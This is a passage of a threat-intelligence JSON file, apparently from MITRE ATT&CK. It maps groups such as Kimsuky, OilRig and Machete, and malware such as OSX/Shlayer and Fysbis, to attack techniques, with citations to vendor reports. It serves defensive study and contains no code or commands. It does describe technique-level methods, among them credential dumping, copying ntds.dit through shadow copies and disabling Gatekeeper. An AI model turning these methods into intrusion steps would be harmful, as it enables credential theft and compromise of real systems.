            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has collected Office, PDF, and HWP documents from its victims.(Citation: Securelist Kimsuky Sept 2013)",
            "relationship_type": "uses",
            "id": "relationship--035525fc-4549-4282-b85b-c7c07359124c",
            "type": "relationship",
            "modified": "2019-08-27T15:32:50.395Z",
            "created": "2019-08-26T15:27:13.006Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.",
                    "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/",
                    "source_name": "Zdnet Kimsuky Dec 2018"
                },
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used browser extensions including Google Chrome to steal passwords and cookies from browsers.(Citation: Zdnet Kimsuky Dec 2018)(Citation: CISA AA20-301A Kimsuky)",
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                {
                    "source_name": "EST Kimsuky April 2019",
                    "url": "https://blog.alyac.co.kr/2234",
                    "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019."
                },
                {
                    "source_name": "CISA AA20-301A Kimsuky",
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                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
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                    "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/",
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            ],
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                    "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/",
                    "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019."
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                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
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                {
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                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
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                    "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/",
                    "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019."
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            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used RC4 encryption before exfil.(Citation: Securelist Kimsuky Sept 2013)",
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            ],
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            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has gathered information about the infected computer.(Citation: Securelist Kimsuky Sept 2013)",
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                    "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/",
                    "description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019."
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                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
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            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has created new services for persistence.(Citation: Securelist Kimsuky Sept 2013)(Citation: CISA AA20-301A Kimsuky)",
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            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has exfiltrated data over its email C2 channel.(Citation: Securelist Kimsuky Sept 2013)",
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                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
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                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                },
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                },
                {
                    "source_name": "FireEye APT34 July 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019."
                }
            ],
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019)",
            "relationship_type": "uses",
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                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "source_name": "FireEye APT34 July 2019"
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            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used port 80 to call back to the C2 server.(Citation: FireEye APT34 July 2019)\t",
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                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "source_name": "FireEye APT34 July 2019"
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            ],
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used LinkedIn to send spearphishing links.(Citation: FireEye APT34 July 2019)",
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                {
                    "source_name": "EST Kimsuky April 2019",
                    "url": "https://blog.alyac.co.kr/2234",
                    "description": "Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019."
                }
            ],
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used an email containing a link to a document that contained malicious macros.(Citation: EST Kimsuky April 2019)",
            "relationship_type": "uses",
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                    "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.",
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                    "source_name": "Carbon Black Shlayer Feb 2019"
                }
            ],
            "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can collect the macOS version and IOPlatformUUID.(Citation: Carbon Black Shlayer Feb 2019)",
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            ],
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                }
            ],
            "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can use bash scripts to check the macOS version and download payloads.(Citation: Carbon Black Shlayer Feb 2019)",
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                {
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                    "url": "https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/",
                    "description": "Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019."
                }
            ],
            "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can masquerade as a Flash Player update.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)",
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                },
                {
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                    "url": "https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/",
                    "description": "Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019."
                }
            ],
            "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) relies on users mounting and executing a malicious DMG file.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)",
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                }
            ],
            "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can escalate privileges to root by asking the user for credentials.(Citation: Carbon Black Shlayer Feb 2019)",
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                    "source_name": "Microsoft Azure AD Admin Consent",
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                    "description": "Baldwin, M., Flores, J., Kess, B.. (2018, June 17). Five steps to securing your identity infrastructure. Retrieved October 4, 2019."
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            ],
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                    "source_name": "FireEye admin@338"
                }
            ],
            "description": "[admin@338](https://attack.mitre.org/groups/G0018) has exploited client software vulnerabilities for execution, such as Microsoft Word CVE-2012-0158.(Citation: FireEye admin@338)",
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            ],
            "description": "[admin@338](https://attack.mitre.org/groups/G0018) has attempted to get victims to launch malicious Microsoft Word attachments delivered via spearphishing emails.(Citation: FireEye admin@338)",
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
            ],
            "description": "[admin@338](https://attack.mitre.org/groups/G0018) has sent emails with malicious Microsoft Office documents attached.(Citation: FireEye admin@338)",
            "relationship_type": "uses",
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            "type": "relationship",
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        {
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            "external_references": [
                {
                    "source_name": "LOLBAS Esentutl",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/",
                    "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019."
                }
            ],
            "description": "[esentutl](https://attack.mitre.org/software/S0404) can be used to copy files to/from a given URL.(Citation: LOLBAS Esentutl)",
            "relationship_type": "uses",
            "id": "relationship--bb4f1b15-8382-44f9-b201-6726e83b79b0",
            "type": "relationship",
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                {
                    "source_name": "LOLBAS Esentutl",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/",
                    "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019."
                }
            ],
            "description": "[esentutl](https://attack.mitre.org/software/S0404) can be used to read and write alternate data streams.(Citation: LOLBAS Esentutl)",
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                {
                    "source_name": "LOLBAS Esentutl",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/",
                    "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019."
                },
                {
                    "source_name": "Cary Esentutl",
                    "url": "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/",
                    "description": "Cary, M.. (2018, December 6). Locked File Access Using ESENTUTL.exe. Retrieved September 5, 2019."
                }
            ],
            "description": "[esentutl](https://attack.mitre.org/software/S0404) can use Volume Shadow Copy to copy locked files such as ntds.dit.(Citation: LOLBAS Esentutl)(Citation: Cary Esentutl)",
            "relationship_type": "uses",
            "id": "relationship--4faa4943-e54e-420d-a391-350ef629e766",
            "type": "relationship",
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            "target_ref": "tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27",
            "relationship_type": "uses",
            "id": "relationship--d608c524-ad0a-4595-8fe2-4a0ec0dbf501",
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                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                }
            ],
            "description": "(Citation: FireEye APT10 Sept 2018)",
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                    "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/",
                    "source_name": "Carbon Black Shlayer Feb 2019"
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            ],
            "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) executes a .command script from a hidden directory in a mounted DMG.(Citation: Carbon Black Shlayer Feb 2019)",
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                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 3"
                }
            ],
            "description": "(Citation: ESET Sednit Part 3)",
            "relationship_type": "uses",
            "id": "relationship--c84b3859-ba18-45bd-8f56-baa045ce8eab",
            "type": "relationship",
            "modified": "2019-09-09T17:44:35.452Z",
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                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) installed a port monitoring tool, MAPMAKER, to print the active TCP connections on the local system.(Citation: FireEye APT38 Oct 2018)",
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            "id": "relationship--11ab80ae-29e7-45a4-8d92-53493e2971c3",
            "type": "relationship",
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            "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
            "external_references": [
                {
                    "description": "Vrijenhoek, Jay. (2018, April 24). New OSX/Shlayer Malware Variant Found Using a Dirty New Trick. Retrieved September 6, 2019.",
                    "url": "https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/",
                    "source_name": "Intego Shlayer Apr 2018"
                },
                {
                    "source_name": "Malwarebytes Crossrider Apr 2018",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/",
                    "description": "Reed, Thomas. (2018, April 24). New Crossrider variant installs configuration profiles on Macs. Retrieved September 6, 2019."
                }
            ],
            "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can install malicious Safari browser extensions to serve ads.(Citation: Intego Shlayer Apr 2018)(Citation: Malwarebytes Crossrider Apr 2018)",
            "relationship_type": "uses",
            "id": "relationship--5b5b5650-916b-4519-8cbd-da90589fe7b6",
            "type": "relationship",
            "modified": "2019-09-12T15:09:10.706Z",
            "created": "2019-09-10T13:57:23.522Z"
        },
        {
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            ],
            "source_ref": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7",
            "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345",
            "external_references": [
                {
                    "source_name": "Carbon Black Shlayer Feb 2019",
                    "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/",
                    "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."
                },
                {
                    "source_name": "Carbon Black Shlayer Feb 2019",
                    "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/",
                    "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."
                }
            ],
            "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) can use the <code>chmod</code> utility to set a .app file as executable, and the <code>spctl</code> application to disable Gatekeeper protection for a downloaded file.(Citation: Carbon Black Shlayer Feb 2019).(Citation: Carbon Black Shlayer Feb 2019)",
            "relationship_type": "uses",
            "id": "relationship--544cc12a-53c4-4a56-b480-bfc79beee93c",
            "type": "relationship",
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            "target_ref": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11",
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            "id": "relationship--5dcc5947-375c-4b73-867b-5beb6e333c69",
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            "type": "relationship",
            "modified": "2020-11-10T15:55:10.234Z",
            "created": "2019-09-10T18:20:12.926Z"
        },
        {
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            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11",
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            "id": "relationship--884d34c0-8423-484f-8151-e158831d6531",
            "description": "Limit privileges of user accounts so only authorized privileged users can create and modify XDG autostart entries.",
            "type": "relationship",
            "modified": "2020-11-10T15:55:10.302Z",
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            ],
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            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
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                {
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                    "source_name": "Fysbis Dr Web Analysis"
                }
            ],
            "description": "[Fysbis](https://attack.mitre.org/software/S0410) has masqueraded as trusted software rsyncd and dbus-inotifier.(Citation: Fysbis Dr Web Analysis)",
            "relationship_type": "uses",
            "id": "relationship--dedfdac6-c76b-4baa-99ca-3f0233141d2d",
            "type": "relationship",
            "modified": "2020-03-18T00:18:58.744Z",
            "created": "2019-09-12T18:04:13.255Z"
        },
        {
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            "object_marking_refs": [
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            "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "external_references": [
                {
                    "url": "https://vms.drweb.com/virus/?i=4276269",
                    "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.",
                    "source_name": "Fysbis Dr Web Analysis"
                }
            ],
            "description": "[Fysbis](https://attack.mitre.org/software/S0410) can use Base64 to encode its C2 traffic.(Citation: Fysbis Dr Web Analysis)",
            "relationship_type": "uses",
            "id": "relationship--0edefa7f-0b1b-48b7-ab51-e0107b48c683",
            "type": "relationship",
            "modified": "2020-03-20T18:11:27.451Z",
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        },
        {
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            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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                {
                    "url": "https://vms.drweb.com/virus/?i=4276269",
                    "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.",
                    "source_name": "Fysbis Dr Web Analysis"
                }
            ],
            "description": "[Fysbis](https://attack.mitre.org/software/S0410) has been encrypted using XOR and RC4.(Citation: Fysbis Dr Web Analysis) ",
            "relationship_type": "uses",
            "id": "relationship--53d441a4-d6ba-46b2-aa56-91b3f232c67a",
            "type": "relationship",
            "modified": "2019-09-27T13:27:07.090Z",
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            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
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                {
                    "source_name": "Securelist Machete Aug 2014",
                    "url": "https://securelist.com/el-machete/66108/",
                    "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."
                },
                {
                    "source_name": "ESET Machete July 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                },
                {
                    "source_name": "360 Machete Sep 2020",
                    "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/",
                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."
                }
            ],
            "description": " [Machete](https://attack.mitre.org/groups/G0095) has delivered spearphishing emails that contain a zipped file with malicious contents.(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)",
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            "type": "relationship",
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            "created": "2019-09-13T12:51:46.241Z"
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            ],
            "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "external_references": [
                {
                    "source_name": "Cylance Machete Mar 2017",
                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019."
                },
                {
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "source_name": "ESET Machete July 2019"
                }
            ],
            "description": "[Machete](https://attack.mitre.org/groups/G0095) has sent phishing emails that contain a link to an external server with ZIP and RAR archives.(Citation: Cylance Machete Mar 2017)(Citation: ESET Machete July 2019)",
            "relationship_type": "uses",
            "id": "relationship--2dde02b3-20b9-4709-96b4-02dbb9150577",
            "type": "relationship",
            "modified": "2019-10-07T15:02:07.775Z",
            "created": "2019-09-13T12:51:46.258Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "external_references": [
                {
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.",
                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
                    "source_name": "Cylance Machete Mar 2017"
                },
                {
                    "source_name": "ESET Machete July 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                },
                {
                    "source_name": "360 Machete Sep 2020",
                    "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/",
                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/groups/G0095) used multiple compiled Python scripts on the victim\u2019s system. [Machete](https://attack.mitre.org/groups/G0095)'s main backdoor [Machete](https://attack.mitre.org/software/S0409) is also written in Python.(Citation: Cylance Machete Mar 2017)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)",
            "relationship_type": "uses",
            "id": "relationship--532feb00-b2ba-4cf6-81e8-57750d30b039",
            "type": "relationship",
            "modified": "2020-11-23T22:19:46.882Z",
            "created": "2019-09-13T12:51:46.273Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0",
            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
            "external_references": [
                {
                    "source_name": "Cylance Machete Mar 2017",
                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/groups/G0095) has relied on TLS-encrypted FTP to transfer data out of target environments.(Citation: Cylance Machete Mar 2017) ",
            "relationship_type": "uses",
            "id": "relationship--bea19aee-f6c5-4ee8-bef9-5bd78e66a020",
            "type": "relationship",
            "modified": "2019-09-13T16:48:01.348Z",
            "created": "2019-09-13T12:53:11.518Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "external_references": [
                {
                    "source_name": "Securelist Machete Aug 2014",
                    "url": "https://securelist.com/el-machete/66108/",
                    "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."
                },
                {
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.",
                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
                    "source_name": "Cylance Machete Mar 2017"
                },
                {
                    "source_name": "360 Machete Sep 2020",
                    "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/",
                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409) takes photos from the computer\u2019s web camera.(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)",
            "relationship_type": "uses",
            "id": "relationship--293f103b-ab5f-46ee-b51e-c111370f3b79",
            "type": "relationship",
            "modified": "2020-11-23T22:25:18.123Z",
            "created": "2019-09-13T13:17:26.266Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "external_references": [
                {
                    "source_name": "Securelist Machete Aug 2014",
                    "url": "https://securelist.com/el-machete/66108/",
                    "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."
                },
                {
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.",
                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
                    "source_name": "Cylance Machete Mar 2017"
                },
                {
                    "source_name": "360 Machete Sep 2020",
                    "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/",
                    "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409) captures audio from the computer\u2019s microphone.(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)",
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            "id": "relationship--86e8f395-3c57-4602-8e7c-30058d05a655",
            "type": "relationship",
            "modified": "2020-11-23T22:25:18.177Z",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.",
                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
                    "source_name": "Cylance Machete Mar 2017"
                },
                {
                    "source_name": "ESET Machete July 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409) has used pyobfuscate, zlib compression, and base64 encoding for obfuscation. [Machete](https://attack.mitre.org/groups/G0095) has also used some visual obfuscation techniques by naming variables as combinations of letters to hinder analysis.(Citation: Cylance Machete Mar 2017)(Citation: ESET Machete July 2019)",
            "relationship_type": "uses",
            "id": "relationship--fdf56c06-8e42-4cb5-b6e0-a7ec55355ff6",
            "type": "relationship",
            "modified": "2020-11-20T20:11:15.294Z",
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        },
        {
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            ],
            "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "ESET Machete July 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409)\u2019s downloaded data is decrypted using AES.(Citation: ESET Machete July 2019)",
            "relationship_type": "uses",
            "id": "relationship--075c6890-45e1-495e-a83e-b81ab05a8b4e",
            "type": "relationship",
            "modified": "2019-09-13T17:14:47.484Z",
            "created": "2019-09-13T13:17:26.318Z"
        },
        {
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            ],
            "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "external_references": [
                {
                    "source_name": "ESET Machete July 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                },
                {
                    "source_name": "Securelist Machete Aug 2014",
                    "url": "https://securelist.com/el-machete/66108/",
                    "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."
                },
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                    "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html",
                    "source_name": "Cylance Machete Mar 2017"
                },
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                }
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                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                },
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                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                },
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                    "source_name": "Securelist Machete Aug 2014",
                    "url": "https://securelist.com/el-machete/66108/",
                    "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."
                },
                {
                    "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.",
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                    "source_name": "Cylance Machete Mar 2017"
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                {
                    "source_name": "360 Machete Sep 2020",
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                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409) captures screenshots.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                }
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."
                }
            ],
            "description": " [Machete](https://attack.mitre.org/software/S0409) can download additional files for execution on the victim\u2019s machine.(Citation: ESET Machete July 2019) ",
